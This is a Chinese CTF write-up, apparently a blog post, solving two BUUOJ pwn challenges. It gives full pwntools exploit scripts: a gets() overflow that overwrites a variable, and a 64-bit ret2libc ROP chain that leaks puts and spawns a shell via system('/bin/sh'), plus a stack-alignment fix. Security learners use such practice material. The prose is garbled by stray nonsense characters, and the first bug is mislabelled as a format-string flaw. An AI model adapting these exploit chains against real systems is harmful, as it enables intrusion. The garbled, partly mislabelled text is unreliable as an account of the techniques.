時(shí)隔已久的學(xué)習(xí)

ciscn_2019_n_1

格式化字符串漏洞

程序邏輯

gets是漏洞點(diǎn)，可以利用v1去覆蓋v2的值然后獲取flag

程序邏輯

實(shí)際地址

地址是0x41348000

from pwn import *
 
#context.log_level = "debug"
sh=remote('node3.buuoj.cn',27003)

p1='1'*0x2c+p64(0x41348000)
sh.sendline(p1)
sh.interactive()

ciscn_2019_c_1

就是一個(gè)常規(guī)題
話說我沒練過64位的libc的題（弟弟
網(wǎng)上找東西學(xué)了一下
寫法和32位不一樣调窍，用寄存器傳參，需要傳遞的參數(shù)放在 pop rdi 的下面，執(zhí)行 pop rdi 時(shí)，就將棧頂?shù)闹蒂x值給rdi

from pwn import *
#context.log_level="debug"

#sh=process('./ciscn_2019_c_1')
libc=ELF('libc-2.27.so')
sh=remote('node3.buuoj.cn',26817)
elf=ELF('./ciscn_2019_c_1')


#libc_read=libc.symbols['read']
libc_puts=libc.symbols['puts']
libc_system=libc.symbols['system']
libc_binsh=next(libc.search('/bin/sh'))

puts_ply=elf.plt['puts']
puts_got=elf.got['puts']
main_add=elf.symbols['main']

pop1_rid=0x0000000000400c83

p1='A'*0x58
p1+=p64(pop1_rid)+p64(puts_got)+p64(puts_ply)+p64(main_add)
sh.recvuntil('Input your choice!\n')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(p1)

# # print sh.recvline()
sh.recvuntil('@\n')
puts_real_add=u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_real_add)
# #pwnlib.gdb.attach(sh)

libcbase=puts_real_add-libc_puts
# print hex(libcbase)
system_real_add=libcbase+libc_system
binsh_real_add=libcbase+libc_binsh

p2='A'*0x58
p2+=p64(pop1_rid)+p64(binsh_real_add)+p64(system_real_add)
sh.recvuntil('Input your choice!\n')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(p2)

sh.interactive()

本地完全沒問題
但是遠(yuǎn)程

報(bào)錯(cuò)

打不過去，賊氣何址，我覺得是遠(yuǎn)端的問題，找了幾個(gè)大佬的exp进胯，也打不過去用爪。
唯一學(xué)到的新姿勢是這個(gè)

sh.recvuntil('@\n')
puts_real_add=u64(sh.recv(6).ljust(8,'\x00'))

以前是用print然后根據(jù)后三位去找它的位置，特別麻煩
我果然是弟弟

找到問題所在了Ｐ哺洹Ｙ搜！６⑵颇玷！p2應(yīng)該寫成

p2='A'*0x58
p2+=p64(0x00000000004006b9)+p64(pop1_rid)+p64(binsh_real_add)+p64(system_real_add)

出現(xiàn)這個(gè)問題的原因是
Ubuntu18調(diào)用system的時(shí)候要對齊棧，需要附加一個(gè)ret來保證堆棧平衡就缆，這樣程序才會順利地運(yùn)行帖渠，否則則會直接crash

當(dāng)然也可以不用ret來解決，用遷移椊咴祝或者改變payload長度的方式也能達(dá)到同樣的效果